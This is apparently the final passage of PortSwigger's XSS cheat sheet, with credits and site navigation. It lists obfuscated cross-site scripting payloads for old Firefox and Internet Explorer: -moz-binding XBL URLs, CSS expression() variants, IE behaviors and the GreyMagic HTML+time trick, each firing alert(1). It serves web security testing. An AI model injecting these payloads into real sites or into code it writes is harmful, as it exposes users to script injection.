<div style="-\mo\z-binding:url(//businessinfo.co.uk/labs/xbl/xbl.xml#xss)">
<div style="-moz-bindin\67:url(//businessinfo.co.uk/lab s/xbl/xbl.xml#xss)">
<div style="-moz-bindin&#x5c;67:url(//businessinfo.co.uk/lab s/xbl/xbl.xml#xss)">
```



XBL also worked in FF3.5 using data urls

```

```



CSS expressions <=IE7

```
<div style=xss:expression(alert(1))>
<div style=xss:expression(1)-alert(1)>
<div style=xss:expressio\6e(alert(1))>
<div style=xss:expressio\006e(alert(1))>
<div style=xss:expressio\00006e(alert(1))>
<div style=xss:expressio\6e(alert(1))>
<div style=xss:expressio&#x5c;6e(alert(1))>
```



In quirks mode IE allowed you to use = instead of :

```
<div style=xss=expression(alert(1))>
<div style="color&#x3dred">test</div>
```



Behaviors for older modes of IE

```
<a style="behavior:url(#default#AnchorClick);" folder="javascript:alert(1)">XSS</a>
```



Older versions of IE supported event handlers in functions

```
<script>
function window.onload() {
alert(1);
}
</script>
<script>
function window::onload() {
alert(1);
}
</script>
<script>
function window.location() {
}
</script>
<body>
<script>
function/*<img src=1 onerror=alert(1)>*/document.body.innerHTML(){}
</script>
</body>
<body>
<script>
function document.body.innerHTML(){ x = "<img src=1 onerror=alert(1)>"; }
</script>
</body>
```



GreyMagic HTML+time exploit (no longer works even in 5 docmode)

```
<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t"
implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS<img src=1 onerror=alert(1)>"> </BODY></HTML>
```



Copy

Credits

Brought to you by [PortSwigger](#) lovingly constructed by [Gareth Heyes](#)

This cheat sheet wouldn't be possible without the web security community who share their research. Big thanks to: [James Kettle](#), [Mario Heiderich](#), [Eduardo Vela](#), [Masato Kinugawa](#), [Filedесrіptor](#), [LeverOne](#), [Ben Hayak](#), [Alex Inführ](#), [Mathias Karlsson](#), [Jan Horn](#), [Ian Hickey](#), [Gábor Molnár](#), [tsetnep](#), [Psych0tr1a](#), [Skyphire](#), [Abdulrhman Alqabandi](#), [brainpillow](#), [Kyo](#), [Yosuke Hasegawa](#), [White Jordan](#), [Algol](#), [jackmasa](#), [wpulog](#), [Bolk](#), [Robert Hansen](#), [David Lindsay](#), [Superhei](#), [Michal Zalewski](#), [Renaud Lifchitz](#), [Roman Ivanov](#), [Frederik Braun](#), [Krzysztof Kotowicz](#), [Giorgio Maone](#), [GreyMagic](#), [Marcus Niemietz](#), [Soroush Dalili](#), [Stefano Di Paola](#), [Roman Shafigullin](#), [Lewis Ardern](#), [Michał Bentkowski](#), [SØPAS](#), [avanish46](#), [Juuso Käenmäki](#), [jinmo123](#), [itszn13](#), [Martin Bajanik](#), [David Granqvist](#)

You can contribute to this cheat sheet by [updating the JSON](#) and [creating a pull request](#)

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Web vulnerability scanner
Burp Suite Editions
Release Notes

Vulnerabilities

Cross-site scripting (XSS)
SQL injection
Cross-site request forgery
XML external entity injection
Directory traversal
Server-side request forgery

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